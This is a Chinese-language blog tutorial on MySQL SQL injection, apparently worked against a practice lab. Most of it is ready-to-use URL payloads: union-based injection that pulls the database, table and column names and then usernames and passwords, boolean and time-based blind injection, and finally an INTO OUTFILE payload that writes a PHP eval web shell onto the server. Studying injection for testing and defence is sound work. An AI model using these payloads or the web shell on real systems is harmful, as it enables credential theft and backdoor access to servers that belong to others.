当前位置: 首页 > article >正文

【MySQL】sql注入相关内容

【MySQL】sql注入相关内容

1. 为什么使用sql注入的时候,url传值的时候要使用–+而不是–

使用–进行注释的时候需要在后面加一个空格才可以被认为是注释,url传值的过程中会将空格自动忽略,使用+则可以在传输中保留为空格符号。(同时使用#作为注释符会被解释为锚点,导致失效)

2. 常用的sql注入方式

  1. 判断包裹方式
<!-- 使用\来判断包裹方式 -->
?id=-1\
  1. 获取数据库名
<!-- 以下的包裹方式均假设为单引号,前端显示字段数量假设为3 -->
?id=-1' union select 1,2,database() --+

在这里插入图片描述

  1. 获取数据库表名
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

在这里插入图片描述

  1. 获取数据表列名
<!-- 注意这里面的是table_name,查询数据库中有那些表的时候where语句后面是table_schema -->
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

在这里插入图片描述

  1. 获取列对应的数据内容
<!-- 知道字段名之后就可以通过group_concat组合各个字段的数据 -->
?id=-1' union select 1,group_concat(username),group_concat(password) from users --+

在这里插入图片描述

3. sql盲注

有的时候页面上回显不会那么明显或者就没有,你只能通过当前页面的状态判断输入的参数是对是错,这时候就需要用到盲注。

  1. 看一下页面正常回显的样子是什么,以及参数的闭合方式
    正常会先为You are in…
    在这里插入图片描述

可以看到闭合方式为单引号
在这里插入图片描述

  1. 判断以下数据库的名字是什么,使用如下语句判断数据库的第一个字符在什么范围。
    看第一个字符是否小于字符m
<!--借助ascii码的值来判断数据库名的第一个字符是在那个范围,大于或者小于字符m-->
<!--使用and来确保在后面的条件错误的情况下能与正常的情况有明显不同-->
?id=1' and ascii(substr(database(),1,1)) < ascii('m') --+

在这里插入图片描述
可以看到,页面没有回显什么数据,那么变化以下条件,等于的情况和大于的情况。
等于的情况,也和上述情况一样。

?id=1' and ascii(substr(database(),1,1)) = ascii('m') --+

在这里插入图片描述
大于的情况如下,可以正确的回显

?id=1' and ascii(substr(database(),1,1)) > ascii('m') --+

在这里插入图片描述
使用该方式可以试出来,第一个字符为‘s’,页面正确的回显

?id=1' and ascii(substr(database(),1,1)) = ascii('s') --+

在这里插入图片描述
3. 使用该方式可以可以一次判断出数据库的名称为security

?id=1' and ascii(substr(database(),2,1)) = ascii('e') --+
?id=1' and ascii(substr(database(),3,1)) = ascii('c') --+
或者简单一点
?id=1' and substr(database(),3,1) = 'c' --+
......
  1. 接下来也是通过该方式来判断数据库中的表名
<!--这里面的select语句可以选出按table_name排序的第一条数据,这里第一条数据就是email-->
?id=1' and substr((select table_name from information_schema.tables where table_schema='security' order by table_name limit 0,1),1,1 ) = 'e' --+

可以看到第一个表表名第一个字符为e
在这里插入图片描述
调整以下substr截取的位置为2,可以判断出第二个字符为m,以此类推可以判断整个表名

<!--这里面的select语句可以选出按table_name排序的第一条数据,这里第一条数据就是email-->
?id=1' and substr((select table_name from information_schema.tables where table_schema='security' order by table_name limit 0,1),2,1 ) = 'm' --+

在这里插入图片描述

  1. 基于时间的盲注
?id=1' and if(length(database())>10,1,sleep(5)) --+

6.使用outfile

?id=-1' union select 1, 2, @@basedir --+
<!--输出php文件到目标地址-->
?id=-1')) union select 1,'<?php @eval($_POST[value]);?>',3 into outfile 'xxx' --+

http://www.kler.cn/a/409399.html

相关文章:

  • 《文件操作》
  • 【贪心算法第二弹——2208.将数组和减半的最小操作数】
  • React的基本知识:事件监听器、Props和State的区分、改变state的方法、使用回调函数改变state、使用三元运算符改变state
  • MongoDB比较查询操作符中英对照表及实例详解
  • php:使用Ratchet类实现分布式websocket服务
  • 【AI日记】24.11.24 学习谷歌数据分析初级课程-第5课
  • 【开源风云】从若依系列脚手架汲取编程之道(八)
  • C#里怎么样使用正则表达式?
  • 动态规划—课堂笔记=>背包问题(2)
  • 东胜物流软件 GetDataListCA SQL注入漏洞复现
  • Laravel对接SLS日志服务
  • 如何快速将Excel数据导入到SQL Server数据库
  • 界面控件DevExpress WPF中文教程:网格视图数据布局的列和卡片字段
  • C++中定义类型名的方法
  • 【Golang】——Gin 框架与数据库集成详解
  • Python的tkinter如何把日志弄进文本框(Text)
  • 大事件管理系统项目总结(上)
  • 【Vscode】不同系统快捷键
  • 论防火墙对网络安全的重要性
  • 【大数据学习 | Spark-Core】Spark提交及运行流程
  • Oracle 执行计划查看方法汇总及优劣对比
  • 信息收集ip测活-Python脚本编写
  • Java零拷贝一步曲——Linux 中的零拷贝技术
  • C++ Qt 识别U盘/串口
  • 传输控制协议(TCP)和用户数据报协议(UDP)
  • ODBC连接PostgreSQL数据库后,网卡DOWN后,客户端进程阻塞问题解决方法